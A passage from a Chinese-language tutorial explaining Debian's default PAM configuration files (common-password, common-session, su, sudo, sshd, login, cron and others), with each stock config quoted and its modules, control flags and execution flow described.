pam_deny.so
)pam_deny.so
模块:pam_permit.so
模块:common-account
的作用是检查用户账户的状态,确保账户有效且被授权使用
common-password
配置文件定义了系统所有服务共享的通用密码管理策略。通过将通用的密码管理策略抽象到一个单独的文件中,系统可以简化 PAM 配置的管理,并确保所有服务(如 passwd
、chpasswd
等)遵循一致的密码管理流程
#
# /etc/pam.d/common-password - password-related modules common to all services
#
# This file is included from other service-specific PAM config files,
# and should contain a list of modules that define the services to be
# used to change user passwords. The default is pam_unix.# Explanation of pam_unix options:
# The "yescrypt" option enables
#hashed passwords using the yescrypt algorithm, introduced in Debian
#11. Without this option, the default is Unix crypt. Prior releases
#used the option "sha512"; if a shadow password hash will be shared
#between Debian 11 and older releases replace "yescrypt" with "sha512"
#for compatibility . The "obscure" option replaces the old
#`OBSCURE_CHECKS_ENAB' option in login.defs. See the pam_unix manpage
#for other options.
# As of pam 1.0.1-6, this file is managed by pam-auth-update by default.
# To take advantage of this, it is recommended that you configure any
# local modules either before or after the default block, and use
# pam-auth-update to manage selection of other modules. See
# pam-auth-update(8) for details.
# here are the per-package modules (the "Primary" block)
password [success=1 default=ignore] pam_unix.so obscure yescrypt
# here's the fallback if no module succeeds
password requisite pam_deny.so
# prime the stack with a positive return value if there isn't one already;
# this avoids us returning an error just because nothing sets a success code
# since the modules above will each just jump around
password required pam_permit.so
# and here are more per-package modules (the "Additional" block)
# end of pam-auth-update config
password [success=1 default=ignore] pam_unix.so obscure yescrypt
password
[success=1 default=ignore]
pam_unix.so
obscure
:应用密码复杂性检查,防止使用简单密码yescrypt
:使用 yescrypt
算法进行密码加密(这是一个现代且安全的加密算法,取代了旧的 sha512
算法)pam_unix.so
模块用于通过 /etc/passwd
和 /etc/shadow
文件进行密码管理,支持复杂性检查和加密[success=1 default=ignore]
的含义是:剩下两行和之前相同
配置总体执行流程
pam_unix.so
模块:yescrypt
进行加密。如果密码管理成功,跳过下一个模块(pam_deny.so
),继续执行 pam_permit.so
pam_deny.so
)pam_deny.so
模块:pam_permit.so
模块:common-session
配置文件定义了系统所有服务共享的通用会话管理策略。通过将会话管理策略抽象到一个单独的文件中,系统可以简化 PAM 配置的管理,并确保所有服务遵循一致的会话管理流程
主要负责在用户登录和注销时执行一些必要的操作,如设置用户环境、启动用户会话、设置资源限制等
#
# /etc/pam.d/common-session - session-related modules common to all services
#
# This file is included from other service-specific PAM config files,
# and should contain a list of modules that define tasks to be performed
# at the start and end of interactive sessions.
#
# As of pam 1.0.1-6, this file is managed by pam-auth-update by default.
# To take advantage of this, it is recommended that you configure any
# local modules either before or after the default block, and use
# pam-auth-update to manage selection of other modules. See
# pam-auth-update(8) for details.# here are the per-package modules (the "Primary" block)
session [default=1] pam_permit.so
# here's the fallback if no module succeeds
session requisite pam_deny.so
# prime the stack with a positive return value if there isn't one already;
# this avoids us returning an error just because nothing sets a success code
# since the modules above will each just jump around
session required pam_permit.so
# The pam_umask module will set the umask according to the system default in
# /etc/login.defs and user settings, solving the problem of different
# umask settings with different shells, display managers, remote sessions etc.
# See "man pam_umask".
session optional pam_umask.so
# and here are more per-package modules (the "Additional" block)
session required pam_unix.so
session optional pam_systemd.so
# end of pam-auth-update config
session [default=1] pam_permit.so
session
[default=1]
pam_permit.so
pam_permit.so
模块总是返回成功[default=1]
的含义是:session requisite pam_deny.so
session
requisite
pam_deny.so
pam_deny.so
模块总是返回失败requisite
标志表示如果此模块失败,整个会话管理过程立即失败,不再执行后续模块session required pam_permit.so
类型:session
控制标志:required
模块:pam_permit.so
功能:
pam_permit.so
模块总是返回成功required
标志表示此模块必须成功,否则整个会话管理过程将失败session optional pam_umask.so
类型:session
控制标志:optional
模块:pam_umask.so
功能:
pam_umask.so
模块用于设置用户的文件创建掩码(umask)
optional
标志表示此模块的成功或失败不会影响整个会话管理过程
通过读取 /etc/login.defs
和用户设置来解决不同 shell、显示管理器、远程会话等的 umask 设置问题
session required pam_unix.so
session
required
pam_unix.so
pam_unix.so
模块用于通过 /etc/passwd
和 /etc/shadow
文件进行会话管理required
标志表示此模块必须成功,否则整个会话管理过程将失败session optional pam_systemd.so
session
optional
pam_systemd.so
pam_systemd.so
模块用于与 systemd 进行集成,管理用户会话的生命周期optional
标志表示此模块的成功或失败不会影响整个会话管理过程配置总体执行流程
pam_permit.so
模块:pam_deny.so
),继续执行下一个 pam_permit.so
pam_deny.so
模块:pam_permit.so
模块:pam_umask.so
模块:pam_unix.so
模块:pam_systemd.so
模块:common-session-noninteractive
配置文件定义了系统所有非交互式会话共享的通用会话管理策略。这些非交互式会话通常涉及后台任务或自动化脚本,而不是用户直接登录的交互式会话。通过将非交互式会话管理策略抽象到一个单独的文件中,系统可以简化 PAM 配置的管理,并确保所有非交互式会话遵循一致的管理流程
#
# /etc/pam.d/common-session-noninteractive - session-related modules
# common to all non-interactive services
#
# This file is included from other service-specific PAM config files,
# and should contain a list of modules that define tasks to be performed
# at the start and end of all non-interactive sessions.
#
# As of pam 1.0.1-6, this file is managed by pam-auth-update by default.
# To take advantage of this, it is recommended that you configure any
# local modules either before or after the default block, and use
# pam-auth-update to manage selection of other modules. See
# pam-auth-update(8) for details.# here are the per-package modules (the "Primary" block)
session [default=1] pam_permit.so
# here's the fallback if no module succeeds
session requisite pam_deny.so
# prime the stack with a positive return value if there isn't one already;
# this avoids us returning an error just because nothing sets a success code
# since the modules above will each just jump around
session required pam_permit.so
# The pam_umask module will set the umask according to the system default in
# /etc/login.defs and user settings, solving the problem of different
# umask settings with different shells, display managers, remote sessions etc.
# See "man pam_umask".
session optional pam_umask.so
# and here are more per-package modules (the "Additional" block)
session required pam_unix.so
# end of pam-auth-update config
session [default=1] pam_permit.so
session
[default=1]
pam_permit.so
pam_permit.so
模块总是返回成功[default=1]
的含义是:session requisite pam_deny.so
session
requisite
pam_deny.so
pam_deny.so
模块总是返回失败requisite
标志表示如果此模块失败,整个会话管理过程立即失败,不再执行后续模块session required pam_permit.so
类型:session
控制标志:required
模块:pam_permit.so
功能:
pam_permit.so
模块总是返回成功required
标志表示此模块必须成功,否则整个会话管理过程将失败session optional pam_umask.so
类型:session
控制标志:optional
模块:pam_umask.so
功能:
pam_umask.so
模块用于设置用户的文件创建掩码(umask)
optional
标志表示此模块的成功或失败不会影响整个会话管理过程
通过读取 /etc/login.defs
和用户设置来解决不同 shell、显示管理器、远程会话等的 umask 设置问题
session required pam_unix.so
session
required
pam_unix.so
pam_unix.so
模块用于通过 /etc/passwd
和 /etc/shadow
文件进行会话管理required
标志表示此模块必须成功,否则整个会话管理过程将失败配置总体执行流程
pam_permit.so
模块:pam_deny.so
),继续执行下一个 pam_permit.so
pam_deny.so
模块:pam_permit.so
模块:pam_umask.so
模块:pam_unix.so
模块:用于更改用户的 GECOS 信息(如全名、电话等)
如果大家使用过 finger 命令,应该很容易理解,这个服务就是修改 finger 服务显示的信息的
使用 chfn 进行修改
成功进行了修改,从行为表现上来看,需要进行身份验证,验证通过后才允许修改信息,认证失败显示如下
好,有了以上了解,我们来看一下 chfn 服务对应的 PAM 配置文件
#
# The PAM configuration file for the Shadow `chfn' service
## This allows root to change user infomation without being
# prompted for a password
auth sufficient pam_rootok.so
# The standard Unix authentication modules, used with
# NIS (man nsswitch) as well as normal /etc/passwd and
# /etc/shadow entries.
@include common-auth
@include common-account
@include common-session
#
开头的行为注释,看起来似乎第二行反引号打成了单引号,不过不影响程序执行
auth sufficient pam_rootok.so
类型:auth
控制标志:sufficient
模块:pam_rootok.so
功能:
auth
模块sufficient
标志表示如果此模块成功,那么整个认证过程立即成功,不再执行后续的 auth
模块;如果失败,则继续执行后续模块@include common-auth
类型:auth
功能:
common-auth
配置文件。common-auth
通常定义了系统的通用认证策略,适用于所有需要认证的服务。这可以包括验证用户密码等标准认证步骤@include common-account
account
common-account
配置文件。common-account
通常定义了系统的通用账户管理策略,适用于所有需要账户管理的服务。这可以包括检查账户是否被锁定或是否有登录权限等@include common-session
session
common-session
配置文件。common-session
通常定义了系统的通用会话管理策略,适用于所有需要会话管理的服务。这可以包括初始化用户环境、设置资源限制等配置总体执行流程
chfn
:pam_rootok.so
模块。如果当前用户是 root,则认证立即成功,不需要执行后续的 auth
模块common-auth
中的认证模块,因为 pam_rootok.so
已经成功chfn
:pam_rootok.so
模块。如果当前用户不是 root,则继续执行后续的 auth
模块common-auth
中定义的标准认证步骤(例如,验证用户密码)common-account
中定义的账户管理模块,检查账户是否有效common-session
中定义的会话管理模块,处理会话相关的设置chpasswd
是一个用于批量更改用户密码的工具,通常在脚本或批处理任务中使用。它通过读取一个包含用户名和密码对的文件来更新用户密码
# The PAM configuration file for the Shadow 'chpasswd' service
#@include common-password
直接就包含 common-password
了
chsh
(change shell)命令用于更改用户的登录 shell
#
# The PAM configuration file for the Shadow `chsh' service
## This will not allow a user to change their shell unless
# their current one is listed in /etc/shells. This keeps
# accounts with special shells from changing them.
auth required pam_shells.so
# This allows root to change user shell without being
# prompted for a password
auth sufficient pam_rootok.so
# The standard Unix authentication modules, used with
# NIS (man nsswitch) as well as normal /etc/passwd and
# /etc/shadow entries.
@include common-auth
@include common-account
@include common-session
auth required pam_shells.so
auth
required
pam_shells.so
/etc/shells
文件中列出。如果不在,则拒绝更改 shellrequired
标志表示如果此模块失败,整个认证过程将失败,用户无法更改其 shell/etc/shells
文件中列出的用户才能更改其 shell。这有助于防止特定账户(例如具有特殊 shell 的账户)更改其 shellauth sufficient pam_rootok.so
auth
sufficient
pam_rootok.so
auth
模块sufficient
标志表示如果此模块成功,那么整个认证过程立即成功,不再执行后续的 auth
模块;如果失败,则继续执行后续模块cron
服务用于定时执行任务。cron
的 PAM 配置文件定义了如何处理这些任务的认证和权限管理
# The PAM configuration file for the cron daemon@include common-auth
# Sets the loginuid process attribute
session required pam_loginuid.so
# Read environment variables from pam_env's default files, /etc/environment
# and /etc/security/pam_env.conf.
session required pam_env.so
# In addition, read system locale information
session required pam_env.so envfile=/etc/default/locale
@include common-account
@include common-session-noninteractive
# Sets up user limits, please define limits for cron tasks
# through /etc/security/limits.conf
session required pam_limits.so
@include common-auth
common-auth
配置文件common-auth
配置文件,定义了系统的通用认证策略,如验证用户密码session required pam_loginuid.so
session
required
pam_loginuid.so
required
标志表示此模块必须成功,否则整个会话管理过程将失败session required pam_env.so
session required pam_env.so envfile=/etc/default/locale
类型:session
控制标志:required
模块:pam_env.so
功能:
该模块用于读取和设置环境变量。默认情况下,它从 /etc/environment
和 /etc/security/pam_env.conf
文件中读取环境变量
第二行配置指定了一个额外的环境变量文件 /etc/default/locale
,用于读取系统的区域设置信息
required
标志表示这些模块必须成功,否则整个会话管理过程将失败
@include common-account
common-account
配置文件common-account
配置文件,定义了系统的通用账户管理策略,如检查账户是否被锁定或过期@include common-session-noninteractive
common-session-noninteractive
配置文件common-session-noninteractive
配置文件,定义了系统的通用非交互式会话管理策略,如设置资源限制和初始化用户环境session required pam_limits.so
session
required
pam_limits.so
/etc/security/limits.conf
文件中required
标志表示此模块必须成功,否则整个会话管理过程将失败配置总体执行流程
调用 common-auth
中定义的模块:
common-auth
中定义的认证模块,如验证用户密码调用 pam_loginuid.so
模块:
调用 pam_env.so
模块:
/etc/environment
和 /etc/security/pam_env.conf
文件中读取环境变量/etc/default/locale
文件中读取环境变量调用 common-account
中定义的模块:
common-account
中定义的账户管理模块,如检查账户是否被锁定或过期调用 common-session-noninteractive
中定义的模块:
common-session-noninteractive
中定义的非交互式会话管理模块,如设置资源限制和初始化用户环境调用 pam_limits.so
模块:
login
服务用于控制台登录的认证和权限管理
内容比较多,只看非注释行了
auth optional pam_faildelay.so delay=3000000
auth requisite pam_nologin.so
session [success=ok ignore=ignore module_unknown=ignore default=bad] pam_selinux.so close
session required pam_loginuid.so
session optional pam_motd.so motd=/run/motd.dynamic
session optional pam_motd.so noupdate
session [success=ok ignore=ignore module_unknown=ignore default=bad] pam_selinux.so open
session required pam_env.so readenv=1
session required pam_env.so readenv=1 envfile=/etc/default/locale
@include common-auth
auth optional pam_group.so
session required pam_limits.so
session optional pam_lastlog.so
session optional pam_mail.so standard
session optional pam_keyinit.so force revoke
@include common-account
@include common-session
@include common-password
配置文件分析
auth optional pam_faildelay.so delay=3000000
auth
optional
pam_faildelay.so
delay=3000000
optional
标志表示此模块的成功或失败不会影响整个认证过程auth requisite pam_nologin.so
auth
requisite
pam_nologin.so
/etc/nologin
文件是否存在。如果存在且当前用户不是 root,则认证失败requisite
标志表示如果此模块失败,整个认证过程立即失败,不再执行后续模块session [success=ok ignore=ignore module_unknown=ignore default=bad] pam_selinux.so close
session [success=ok ignore=ignore module_unknown=ignore default=bad] pam_selinux.so open
session
[success=ok ignore=ignore module_unknown=ignore default=bad]
pam_selinux.so
success=ok
:如果模块成功,继续执行后续模块ignore=ignore
:如果模块被忽略,不影响整个会话管理过程module_unknown=ignore
:如果模块未知,不影响整个会话管理过程default=bad
:如果模块返回默认结果,整个会话管理过程失败close
:在会话开始前设置 SELinux 上下文open
:在会话开始后恢复 SELinux 上下文session required pam_loginuid.so
session
required
pam_loginuid.so
required
标志表示此模块必须成功,否则整个会话管理过程将失败session optional pam_motd.so motd=/run/motd.dynamic
session optional pam_motd.so noupdate
session
optional
pam_motd.so
/run/motd.dynamic
文件的内容,第二行配置显示 /etc/motd
文件的内容,但不更新 /run/motd
session required pam_env.so readenv=1
session required pam_env.so readenv=1 envfile=/etc/default/locale
session
required
pam_env.so
readenv=1
:读取环境变量envfile=/etc/default/locale
:指定额外的环境变量文件/etc/environment
和 /etc/security/pam_env.conf
文件中读取环境变量/etc/default/locale
,用于读取系统的区域设置信息@include common-auth
common-auth
配置文件common-auth
配置文件,定义了系统的通用认证策略,如验证用户密码auth optional pam_group.so
auth
optional
pam_group.so
/etc/security/group.conf
中的规则将用户添加到特定的组optional
标志表示此模块的成功或失败不会影响整个认证过程session required pam_limits.so
session
required
pam_limits.so
/etc/security/limits.conf
文件中session optional pam_lastlog.so
session
optional
pam_lastlog.so
session optional pam_mail.so standard
session
optional
pam_mail.so
standard
参数使用标准消息格式session optional pam_keyinit.so force revoke
session
optional
pam_keyinit.so
force
:强制初始化密钥环revoke
:在会话结束时撤销密钥环@include common-account
common-account
配置文件common-account
配置文件,定义了系统的通用账户管理策略,如检查账户是否被锁定或过期@include common-session
common-session
配置文件common-session
配置文件,定义了系统的通用会话管理策略,如初始化用户环境和设置资源限制@include common-password
common-password
配置文件common-password
配置文件,定义了系统的通用密码管理策略,如更新密码和检查密码复杂度配置总体执行流程
调用 pam_faildelay.so
模块:
调用 pam_nologin.so
模块:
/etc/nologin
文件是否存在。如果存在且当前用户不是 root,认证失败调用 pam_selinux.so
模块(关闭 SELinux 上下文):
调用 pam_loginuid.so
模块:
调用 pam_motd.so
模块:
调用 pam_selinux.so
模块(打开 SELinux 上下文):
调用 pam_env.so
模块:
调用 common-auth
中定义的模块:
common-auth
中定义的认证模块,如验证用户密码调用 pam_group.so
模块:
调用 pam_limits.so
模块:
pam_lastlog.so
模块:pam_mail.so
模块:pam_keyinit.so
模块:common-account
中定义的模块:common-account
中定义的账户管理模块,如检查账户是否被锁定或过期common-session
中定义的模块:common-session
中定义的会话管理模块,如初始化用户环境和设置资源限制common-password
中定义的模块:common-password
中定义的密码管理模块,如更新密码和检查密码复杂度newusers
是一个用于批量创建用户或更新用户信息的工具,通常在脚本或批处理任务中使用
# The PAM configuration file for the Shadow 'newusers' service
#@include common-password
非常简单,就是包含 @include common-password
passwd
命令用于更改用户的密码
#
# The PAM configuration file for the Shadow `passwd' service
#@include common-password
非常简单,就是包含 @include common-password
polkit-1
是 PolicyKit 的一个组件,用于定义和处理权限策略。PolicyKit 允许非特权进程与特权进程进行通信,并根据权限策略决定是否允许执行某些操作
#%PAM-1.0@include common-auth
@include common-account
@include common-password
session required pam_env.so readenv=1 user_readenv=0
session required pam_env.so readenv=1 envfile=/etc/default/locale user_readenv=0
@include common-session-noninteractive
这配置文件没有详细的注释,与上面这些有明显的不同
@include common-auth
common-auth
配置文件common-auth
配置文件,定义了系统的通用认证策略,如验证用户密码@include common-account
包含:common-account
配置文件
功能:
common-account
配置文件,定义了系统的通用账户管理策略,如检查账户是否被锁定或过期@include common-password
common-password
配置文件common-password
配置文件,定义了系统的通用密码管理策略,如更新密码和检查密码复杂度session required pam_env.so readenv=1 user_readenv=0
session required pam_env.so readenv=1 envfile=/etc/default/locale user_readenv=0
session
required
pam_env.so
readenv=1
:读取环境变量user_readenv=0
:不从用户环境变量文件中读取envfile=/etc/default/locale
:第二行配置指定额外的环境变量文件/etc/environment
和 /etc/security/pam_env.conf
中读取,第二行还包括 /etc/default/locale
文件中的环境变量required
标志表示此模块必须成功,否则整个会话管理过程将失败@include common-session-noninteractive
common-session-noninteractive
配置文件common-session-noninteractive
配置文件,定义了系统的通用非交互式会话管理策略,如设置资源限制和初始化用户环境配置总体执行流程
调用 common-auth
中定义的模块:
common-auth
中定义的认证模块,如验证用户密码,确保用户具有进行特权操作的权限调用 common-account
中定义的模块:
common-account
中定义的账户管理模块,如检查用户账户是否被锁定或过期,确保用户账户有效且未被锁定调用 common-password
中定义的模块:
common-password
中定义的密码管理模块,如更新用户密码和检查密码复杂度,确保密码管理策略的一致性调用 pam_env.so
模块:
/etc/environment
和 /etc/security/pam_env.conf
/etc/default/locale
文件中读取额外的环境变量调用 common-session-noninteractive
中定义的模块:
common-session-noninteractive
中定义的非交互式会话管理模块,如设置资源限制和初始化用户环境,确保后台和自动化任务的安全性和稳定性runuser
是一个用于在不显式提供密码的情况下切换用户的命令,通常由系统脚本或服务使用
#%PAM-1.0
auth sufficient pam_rootok.so
session optional pam_keyinit.so revoke
session required pam_limits.so
session required pam_unix.so
auth sufficient pam_rootok.so
auth
sufficient
pam_rootok.so
runuser
命令。如果当前用户是 root,则认证立即成功且不需要执行后续的 auth
模块sufficient
标志表示如果此模块成功,那么整个认证过程立即成功,不再执行后续的 auth
模块;如果失败,则继续执行后续模块session optional pam_keyinit.so revoke
session
optional
pam_keyinit.so
revoke
:在会话结束时撤销密钥环optional
标志表示此模块的成功或失败不会影响整个会话管理过程session required pam_limits.so
session
required
pam_limits.so
/etc/security/limits.conf
文件中required
标志表示此模块必须成功,否则整个会话管理过程将失败session required pam_unix.so
session
required
pam_unix.so
required
标志表示此模块必须成功,否则整个会话管理过程将失败配置总体执行流程
调用 pam_rootok.so
模块:
auth
模块调用 pam_keyinit.so
模块:
调用 pam_limits.so
模块:
runuser
命令在受控的资源环境中运行。此模块必须成功,否则整个会话管理过程将失败调用 pam_unix.so
模块:
runuser
和 runuser -l
用于在 Linux 系统中切换用户。runuser -l
命令特别用来启动一个登录 shell,会模拟用户登录的环境
#%PAM-1.0
auth include runuser
session optional pam_keyinit.so force revoke
-session optional pam_systemd.so
session include runuser
auth include runuser
runuser
配置文件runuser
配置文件,定义了 runuser
命令的认证策略。这意味着 runuser-l
将使用 runuser
配置文件中的认证模块session optional pam_keyinit.so force revoke
session
optional
pam_keyinit.so
force
:强制初始化密钥环revoke
:在会话结束时撤销密钥环optional
标志表示此模块的成功或失败不会影响整个会话管理过程-session optional pam_systemd.so
session
optional
pam_systemd.so
optional
标志表示此模块的成功或失败不会影响整个会话管理过程-
表示如果模块不可用,不会记录错误session include runuser
runuser
配置文件runuser
配置文件,定义了 runuser
命令的会话管理策略。这意味着 runuser-l
将使用 runuser
配置文件中的会话管理模块配置总体执行流程
结合 runuser
和 runuser-l
的 PAM 配置文件,完整的处理流程如下:
调用 runuser
配置文件中的 pam_rootok.so
模块:
auth
模块调用 runuser
配置文件中的 pam_unix.so
模块:
调用 pam_keyinit.so
模块:
调用 pam_systemd.so
模块:
调用 runuser
配置文件中的 pam_limits.so
模块:
runuser -l
命令在受控的资源环境中运行。此模块必须成功,否则整个会话管理过程将失败调用 runuser
配置文件中的 pam_unix.so
模块:
ssh 服务
@include common-auth
account required pam_nologin.so
@include common-account
session [success=ok ignore=ignore module_unknown=ignore default=bad] pam_selinux.so close
session required pam_loginuid.so
session optional pam_keyinit.so force revoke
@include common-session
session optional pam_motd.so motd=/run/motd.dynamic
session optional pam_motd.so noupdate
session optional pam_mail.so standard noenv # [1]
session required pam_limits.so
session required pam_env.so # [1]
session required pam_env.so user_readenv=1 envfile=/etc/default/locale
session [success=ok ignore=ignore module_unknown=ignore default=bad] pam_selinux.so open
@include common-password
@include common-auth
common-auth
配置文件common-auth
配置文件,定义了系统的通用认证策略,例如验证用户密码account required pam_nologin.so
account
required
pam_nologin.so
/etc/nologin
文件是否存在。如果存在且当前用户不是 root,则登录将被拒绝required
标志表示此模块必须成功,否则整个账户管理过程将失败@include common-account
common-account
配置文件common-account
配置文件,定义了系统的通用账户管理策略,例如检查账户是否被锁定或过期session [success=ok ignore=ignore module_unknown=ignore default=bad] pam_selinux.so close
session
[success=ok ignore=ignore module_unknown=ignore default=bad]
pam_selinux.so
success=ok
:如果模块成功,继续执行后续模块ignore=ignore
:忽略模块的结果module_unknown=ignore
:如果模块未知,忽略错误default=bad
:如果模块返回默认结果,整个会话管理过程将失败session required pam_loginuid.so
session
required
pam_loginuid.so
required
标志表示此模块必须成功,否则整个会话管理过程将失败session optional pam_keyinit.so force revoke
session
optional
pam_keyinit.so
force
:强制初始化密钥环revoke
:在会话结束时撤销密钥环@include common-session
common-session
配置文件common-session
配置文件,定义了系统的通用会话管理策略,例如初始化用户环境和设置资源限制session optional pam_motd.so motd=/run/motd.dynamic
session optional pam_motd.so noupdate
session
optional
pam_motd.so
/run/motd.dynamic
文件的内容,第二行配置显示 /etc/motd
文件的内容,但不更新 /run/motd
session optional pam_mail.so standard noenv # [1]
session
optional
pam_mail.so
standard
参数使用标准消息格式,noenv
参数不设置 MAIL
环境变量session required pam_limits.so
session
required
pam_limits.so
/etc/security/limits.conf
文件中required
标志表示此模块必须成功,否则整个会话管理过程将失败session required pam_env.so # [1]
session required pam_env.so user_readenv=1 envfile=/etc/default/locale
session
required
pam_env.so
/etc/environment
和 /etc/security/pam_env.conf
中读取环境变量/etc/default/locale
文件中读取额外的环境变量,并允许读取用户环境变量 (user_readenv=1
)required
标志表示这些模块必须成功,否则整个会话管理过程将失败session [success=ok ignore=ignore module_unknown=ignore default=bad] pam_selinux.so open
session
[success=ok ignore=ignore module_unknown=ignore default=bad]
pam_selinux.so
@include common-password
common-password
配置文件common-password
配置文件,定义了系统的通用密码管理策略,例如更新密码和检查密码复杂度配置总体执行流程
调用 common-auth
中定义的模块:
common-auth
中定义的认证模块,例如验证用户密码,确保用户具有进行特权操作的权限调用 pam_nologin.so
模块:
/etc/nologin
文件是否存在。如果存在且当前用户不是 root,登录将被拒绝调用 common-account
中定义的模块:
common-account
中定义的账户管理模块,例如检查账户是否被锁定或过期,确保用户账户有效且未被锁定调用 pam_selinux.so
模块(关闭 SELinux 上下文):
调用 pam_loginuid.so
模块:
调用 pam_keyinit.so
模块:
调用 common-session
中定义的模块:
common-session
中定义的会话管理模块,例如初始化用户环境和设置资源限制调用 pam_motd.so
模块:
调用 pam_mail.so
模块:
调用 pam_limits.so
模块:
调用 pam_env.so
模块:
调用 pam_selinux.so
模块(重新打开 SELinux 上下文):
调用 common-password
中定义的模块:
common-password
中定义的密码管理模块,例如更新密码和检查密码复杂度切换用户的程序
auth sufficient pam_rootok.so
session required pam_env.so readenv=1
session required pam_env.so readenv=1 envfile=/etc/default/locale
session optional pam_mail.so nopen
session required pam_limits.so
@include common-auth
@include common-account
@include common-session
auth sufficient pam_rootok.so
auth
sufficient
pam_rootok.so
su
命令。如果当前用户是 root,则认证立即成功且不需要执行后续的 auth
模块sufficient
标志表示如果此模块成功,那么整个认证过程立即成功,不再执行后续的 auth
模块;如果失败,则继续执行后续模块session required pam_env.so readenv=1
session required pam_env.so readenv=1 envfile=/etc/default/locale
session
required
pam_env.so
readenv=1
:读取环境变量envfile=/etc/default/locale
:第二行配置指定额外的环境变量文件/etc/environment
和 /etc/security/pam_env.conf
中读取,第二行还从 /etc/default/locale
文件中读取环境变量required
标志表示这些模块必须成功,否则整个会话管理过程将失败session optional pam_mail.so nopen
session
optional
pam_mail.so
nopen
:不设置 MAIL
环境变量session required pam_limits.so
session
required
pam_limits.so
/etc/security/limits.conf
文件中required
标志表示此模块必须成功,否则整个会话管理过程将失败@include common-auth
common-auth
配置文件common-auth
配置文件,定义了系统的通用认证策略,例如验证用户密码@include common-account
common-account
配置文件common-account
配置文件,定义了系统的通用账户管理策略,例如检查账户是否被锁定或过期@include common-session
common-session
配置文件common-session
配置文件,定义了系统的通用会话管理策略,例如初始化用户环境和设置资源限制配置总体执行流程
调用 pam_rootok.so
模块:
auth
模块调用 pam_env.so
模块:
/etc/environment
和 /etc/security/pam_env.conf
/etc/default/locale
文件中读取额外的环境变量。这些模块必须成功,否则整个会话管理过程将失败调用 pam_mail.so
模块:
调用 pam_limits.so
模块:
su
命令在受控的资源环境中运行。此模块必须成功,否则整个会话管理过程将失败调用 common-auth
中定义的模块:
调用 common-account
中定义的模块:
common-account
中定义的账户管理模块,例如检查用户账户是否被锁定或过期,确保用户账户有效且未被锁定调用 common-session
中定义的模块:
common-session
中定义的会话管理模块,例如初始化用户环境和设置资源限制su -l
命令在切换用户时会启动一个登录 shell,并模拟用户的登录环境
#%PAM-1.0
auth include su
account include su
password include su
session optional pam_keyinit.so force revoke
session include su
auth include su
su
配置文件su
配置文件,定义了 su
命令的认证策略。这意味着 su -l
将使用 su
配置文件中的认证模块account include su
su
配置文件su
配置文件,定义了 su
命令的账户管理策略。这意味着 su -l
将使用 su
配置文件中的账户管理模块password include su
su
配置文件su
配置文件,定义了 su
命令的密码管理策略。这意味着 su -l
将使用 su
配置文件中的密码管理模块session optional pam_keyinit.so force revoke
session
optional
pam_keyinit.so
force
:强制初始化密钥环revoke
:在会话结束时撤销密钥环session include su
su
配置文件su
配置文件,定义了 su
命令的会话管理策略。这意味着 su -l
将使用 su
配置文件中的会话管理模块配置总体执行流程
结合 su
和 su-l
的 PAM 配置文件,完整的处理流程如下:
调用 su
配置文件中的 pam_rootok.so
模块:
auth
模块调用 su
配置文件中的 pam_unix.so
模块:
调用 su
配置文件中的 pam_unix.so
模块(账户管理):
调用 pam_keyinit.so
模块:
调用 su
配置文件中的 pam_limits.so
模块:
su -l
命令在受控的资源环境中运行。此模块必须成功,否则整个会话管理过程将失败调用 su
配置文件中的 pam_unix.so
模块(会话管理):
#%PAM-1.0# Set up user limits from /etc/security/limits.conf.
session required pam_limits.so
session required pam_env.so readenv=1 user_readenv=0
session required pam_env.so readenv=1 envfile=/etc/default/locale user_readenv=0
@include common-auth
@include common-account
@include common-session-noninteractive
session required pam_limits.so
session
required
pam_limits.so
/etc/security/limits.conf
文件中required
标志表示此模块必须成功,否则整个会话管理过程将失败session required pam_env.so readenv=1 user_readenv=0
session required pam_env.so readenv=1 envfile=/etc/default/locale user_readenv=0
session
required
pam_env.so
readenv=1
:读取环境变量envfile=/etc/default/locale
:第二行配置指定额外的环境变量文件user_readenv=0
:不从用户环境变量文件中读取/etc/environment
和 /etc/security/pam_env.conf
中读取,第二行还从 /etc/default/locale
文件中读取环境变量required
标志表示这些模块必须成功,否则整个会话管理过程将失败@include common-auth
common-auth
配置文件common-auth
配置文件,定义了系统的通用认证策略,例如验证用户密码@include common-account
common-account
配置文件common-account
配置文件,定义了系统的通用账户管理策略,例如检查账户是否被锁定或过期@include common-session-noninteractive
common-session-noninteractive
配置文件common-session-noninteractive
配置文件,定义了系统的通用非交互式会话管理策略,例如设置资源限制和初始化用户环境配置总体执行流程
调用 pam_limits.so
模块:
sudo
命令在受控的资源环境中运行。此模块必须成功,否则整个会话管理过程将失败调用 pam_env.so
模块:
/etc/environment
和 /etc/security/pam_env.conf
/etc/default/locale
文件中读取额外的环境变量。这些模块必须成功,否则整个会话管理过程将失败调用 common-auth
中定义的模块:
调用 common-account
中定义的模块:
common-account
中定义的账户管理模块,例如检查用户账户是否被锁定或过期,确保用户账户有效且未被锁定调用 common-session-noninteractive
中定义的模块:
common-session-noninteractive
中定义的非交互式会话管理模块,例如设置资源限制和初始化用户环境sudo -i
命令用于以指定用户的身份启动一个登录 shell。这个命令会启动一个全新的登录环境,类似于 su -l
#%PAM-1.0# Set up user limits from /etc/security/limits.conf.
session required pam_limits.so
session required pam_env.so readenv=1 user_readenv=0
session required pam_env.so readenv=1 envfile=/etc/default/locale user_readenv=0
@include common-auth
@include common-account
@include common-session
session required pam_limits.so
session
required
pam_limits.so
/etc/security/limits.conf
文件中required
标志表示此模块必须成功,否则整个会话管理过程将失败session required pam_env.so readenv=1 user_readenv=0
session required pam_env.so readenv=1 envfile=/etc/default/locale user_readenv=0
session
required
pam_env.so
readenv=1
:读取环境变量user_readenv=0
:不从用户环境变量文件中读取envfile=/etc/default/locale
:第二行配置指定额外的环境变量文件/etc/environment
和 /etc/security/pam_env.conf
中读取,第二行还从 /etc/default/locale
文件中读取环境变量required
标志表示这些模块必须成功,否则整个会话管理过程将失败@include common-auth
common-auth
配置文件common-auth
配置文件,定义了系统的通用认证策略,例如验证用户密码@include common-account
common-account
配置文件common-account
配置文件,定义了系统的通用账户管理策略,例如检查账户是否被锁定或过期@include common-session
common-session
配置文件common-session
配置文件,定义了系统的通用会话管理策略,例如初始化用户环境和设置资源限制配置总体执行流程
调用 pam_limits.so
模块:
sudo -i
命令在受控的资源环境中运行。此模块必须成功,否则整个会话管理过程将失败调用 pam_env.so
模块:
/etc/environment
和 /etc/security/pam_env.conf
/etc/default/locale
文件中读取额外的环境变量。这些模块必须成功,否则整个会话管理过程将失败调用 common-auth
中定义的模块:
调用 common-account
中定义的模块:
common-account
中定义的账户管理模块,例如检查用户账户是否被锁定或过期,确保用户账户有效且未被锁定调用 common-session
中定义的模块:
common-session
